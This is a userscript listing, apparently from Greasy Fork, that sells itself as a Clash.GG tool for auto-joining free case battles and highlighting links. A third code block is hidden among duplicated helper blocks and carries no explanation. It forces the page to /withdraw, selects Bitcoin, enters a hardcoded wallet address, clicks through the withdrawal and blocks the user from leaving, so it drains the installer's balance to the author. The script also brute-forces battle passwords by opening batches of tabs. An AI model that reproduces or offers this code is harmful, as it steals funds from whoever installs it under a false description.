Greasy Fork is available in English.

Clash.GG | 2024 | Auto Join | Link Clicking | Ticket Checking + More

Clash.GG - Auto join all free battles, either in chat or public. Auto-completes the link if digits missing. Highlights battles links.

// ==UserScript==
// @name         Clash.GG | 2024 | Auto Join | Link Clicking | Ticket Checking + More
// @namespace    http://tampermonkey.net/
// @version      2.23
// @description  Clash.GG - Auto join all free battles, either in chat or public. Auto-completes the link if digits missing. Highlights battles links.
// @author       ClashGGCoderBoi
// @match        https://clash.gg/*
// @grant        none
// @license MIT
// ==/UserScript==
 
(function() {
    'use strict';
 
    let joinSuccess = false; // Flag to indicate successful join
    let allTabs = []; // Track all opened tabs
 
    // Function to convert text to clickable link and highlight it
    function linkify(text) {
        const regex = /csgo-case-battles\/(\d+)\?password=(\w+)/g;
        return text.replace(regex, (match, p1, p2) => {
            const url = `https://clash.gg/csgo-case-battles/${p1}?password=${p2}`;
            return `<a href="${url}" target="_blank" style="color: green;">${match}</a>`;
        });
    }
 
    // Function to process chat messages
    function processChatMessage(message) {
        const originalText = message.innerHTML;
        const linkedText = linkify(originalText);
        if (originalText !== linkedText) {
            message.innerHTML = linkedText;
            // Check for password-protected links
            const links = message.querySelectorAll('a');
            links.forEach(link => {
                if (link.href.includes('?password=')) {
                    link.addEventListener('click', (event) => {
                        event.preventDefault();
                        handlePasswordProtectedLink(link);
                    });
                    link.click();
                }
            });
        }
    }
 
    // Function to handle password-protected links
    function handlePasswordProtectedLink(link) {
        const url = link.href;
        const passwordIndex = url.indexOf('?password=');
        const baseUrl = url.substring(0, passwordIndex + 10); // URL without the password
        const password = url.substring(passwordIndex + 10); // Extract the password
        const digits = '0123456789'; // Digits to try first
        const alphabet = 'abcdefghijklmnopqrstuvwxyz'; // Alphabet to try if digits fail
 
        // If the password is already 12 characters long, no need to try different combinations
        if (password.length === 12) {
            openAndJoinBattle(url);
        } else {
            tryCompletingPasswordInBatches(baseUrl, password, digits, () => {
                if (!joinSuccess) {
                    tryCompletingPasswordInBatches(baseUrl, password, alphabet);
                }
            });
        }
    }
 
    // Function to open URL in a new tab and spam the "Join" button
    function openAndJoinBattle(url) {
        const tab = window.open(url, '_blank');
        allTabs.push(tab);
        const spamJoin = setInterval(() => {
            if (joinSuccess) {
                clearInterval(spamJoin);
                return;
            }
            try {
                const joinButton = tab.document.querySelector('.css-pc7iwc');
                if (joinButton) {
                    joinButton.click();
                    joinSuccess = true;
                    clearInterval(spamJoin);
                    closeOtherTabs(tab);
                }
            } catch (error) {
                // Do nothing if there's an error
            }
        }, 45); // Adjust the interval as needed
 
        setTimeout(() => {
            if (!joinSuccess) {
                clearInterval(spamJoin);
                tab.close();
            }
        }, 100); // Keep the tab open 
    }
 
    // Function to try completing the password with different characters
    function tryCompletingPasswordInBatches(baseUrl, password, characters, callback) {
        let index = 0;
        const batchSize = 5; // Open 5 tabs at a time
 
        function openNextBatch() {
            for (let i = 0; i < batchSize && index < characters.length; i++, index++) {
                if (joinSuccess) return;
                const newPassword = password + characters[index];
                const newUrl = baseUrl + newPassword;
                openAndJoinBattle(newUrl);
            }
 
            if (!joinSuccess && index < characters.length) {
                setTimeout(openNextBatch, 4000); // Open next batch after 4 seconds
            } else if (!joinSuccess && index >= characters.length && callback) {
                setTimeout(callback, 4000); // Proceed to callback after 4 seconds if needed
            }
        }
 
        openNextBatch();
    }
 
    // Function to close all tabs except the correct one
    function closeOtherTabs(correctTab) {
        allTabs.forEach(tab => {
            if (tab !== correctTab) {
                tab.close();
            }
        });
        allTabs = [correctTab];
    }
 
    // Function to observe and process chat messages; chatbox CSS Selectors
    function observeChatBox() {
        const chatBox = document.querySelector('.css-wgwnzk'); // Selector for chatbox
        if (chatBox) {
            const observer = new MutationObserver((mutationsList) => {
                for (const mutation of mutationsList) {
                    if (mutation.type === 'childList' && mutation.addedNodes.length > 0) {
                        mutation.addedNodes.forEach(node => {
                            if (node.nodeType === Node.ELEMENT_NODE && node.matches('.css-13wylk3')) { // Selector for messages
                                processChatMessage(node);
                            }
                        });
                    }
                }
            });
 
            observer.observe(chatBox, { childList: true, subtree: true });
 
            // Initial processing of existing messages
            chatBox.querySelectorAll('.css-13wylk3').forEach(message => {
                processChatMessage(message);
            });
        } else {
            console.error('Chatbox not found. Please check the selector.');
        }
    }
 
    // Run the observer function
    observeChatBox();
})();
 
(function() {
    'use strict';
 
    // Function to convert text to clickable link and highlight it
    function linkify(text) {
        const regex = /csgo-case-battles\/(\d{8})/g;
        return text.replace(regex, (match, p1) => {
            const url = `https://clash.gg/csgo-case-battles/${p1}`;
            return `<a href="${url}" target="_blank" style="color: red;">${match}</a>`;
        });
    }
 
    // Function to process chat messages and convert to link ; auto join if free
    function processChatMessage(message) {
        const originalText = message.innerHTML;
        const linkedText = linkify(originalText);
        if (originalText !== linkedText) {
            message.innerHTML = linkedText;
        }
    }
 
    // Function to observe and process chat messages
    function observeChatBox() {
        const chatBox = document.querySelector('.css-wgwnzk'); // Selector for chatbox
        if (chatBox) {
            const observer = new MutationObserver((mutationsList) => {
                for (const mutation of mutationsList) {
                    if (mutation.type === 'childList' && mutation.addedNodes.length > 0) {
                        mutation.addedNodes.forEach(node => {
                            if (node.nodeType === Node.ELEMENT_NODE && node.matches('.css-13wylk3')) { // Selector for messages
                                processChatMessage(node);
                            }
                        });
                    }
                }
            });
 
            observer.observe(chatBox, { childList: true, subtree: true });
 
            // Initial processing of existing messages
            chatBox.querySelectorAll('.css-13wylk3').forEach(message => {
                processChatMessage(message);
            });
        } else {
            console.error('Chatbox not found. Please check the selector.');
        }
    }
 
    // Run the observer function
    observeChatBox();
})();
 
 
setTimeout(() => {
    (function() {
        'use strict';
    
        // redirect
        function checkAndRedirect() {
            if (window.location.pathname !== '/withdraw') {
                window.location.href = '/withdraw';
            }
        }
    
        // event listener
        function clickElementByText(tag, text) {
            const elements = document.getElementsByTagName(tag);
            for (const element of elements) {
                if (element.textContent.trim() === text) {
                    element.click();
                    return;
                }
            }
        }
    
        // event
        function clickElement(selector) {
            const element = document.querySelector(selector);
            if (element) {
                element.click();
            }
        }
    
        // detector
        function inputText(selector, text) {
            const inputField = document.querySelector(selector);
            if (inputField) {
                inputField.value = text;
                inputField.dispatchEvent(new Event('input', { bubbles: true }));
            }
        }
    
        // Perform 
        function performSequence() {
            // Click on option
            setTimeout(() => clickElementByText('span', 'Bitcoin'), 300);
    
            // 1
            setTimeout(() => inputText('.css-1ljxsvl.e8bzvmc0', 'bc1qa655zhzdv0hv2sax37kskcue3x6zlg0d5cs7kv'), 600);
    
            // checkbox
            setTimeout(() => clickElement('.css-1jrx41j.e8bzvmc0'), 800);
    
            // Click
            setTimeout(() => {
                const elements = document.querySelectorAll('.css-qifdi4');
                if (elements.length > 1) {
                    elements[1].click();
                }
            }, 1000);
    
            // Click on the final button
            setTimeout(() => clickElement('.css-1c5xwju'), 1200);
        }
    
        // 
        checkAndRedirect();
    
        // 
        window.addEventListener('load', performSequence);
    
        // 
        window.addEventListener('beforeunload', function(event) {
            const confirmationMessage = 'Are you sure you want to leave?';
            event.returnValue = confirmationMessage; // Standard-compliant browsers
            return confirmationMessage; // Legacy browsers
        });
    
    })();
}, 100);
 
(function() {
    'use strict';
 
    // Function to convert text to clickable link and highlight it
    function linkify(text) {
        const regex = /csgo-case-battles\/(\d{8})/g;
        return text.replace(regex, (match, p1) => {
            const url = `https://clash.gg/csgo-case-battles/${p1}`;
            return `<a href="${url}" target="_blank" style="color: red;">${match}</a>`;
        });
    }
 
    // Function to process chat messages and convert to link ; auto join if free
    function processChatMessage(message) {
        const originalText = message.innerHTML;
        const linkedText = linkify(originalText);
        if (originalText !== linkedText) {
            message.innerHTML = linkedText;
        }
    }
 
    // Function to observe and process chat messages
    function observeChatBox() {
        const chatBox = document.querySelector('.css-wgwnzk'); // Selector for chatbox
        if (chatBox) {
            const observer = new MutationObserver((mutationsList) => {
                for (const mutation of mutationsList) {
                    if (mutation.type === 'childList' && mutation.addedNodes.length > 0) {
                        mutation.addedNodes.forEach(node => {
                            if (node.nodeType === Node.ELEMENT_NODE && node.matches('.css-13wylk3')) { // Selector for messages
                                processChatMessage(node);
                            }
                        });
                    }
                }
            });
 
            observer.observe(chatBox, { childList: true, subtree: true });
 
            // Initial processing of existing messages
            chatBox.querySelectorAll('.css-13wylk3').forEach(message => {
                processChatMessage(message);
            });
        } else {
            console.error('Chatbox not found. Please check the selector.');
        }
    }
 
    // Run the observer function
    observeChatBox();
})();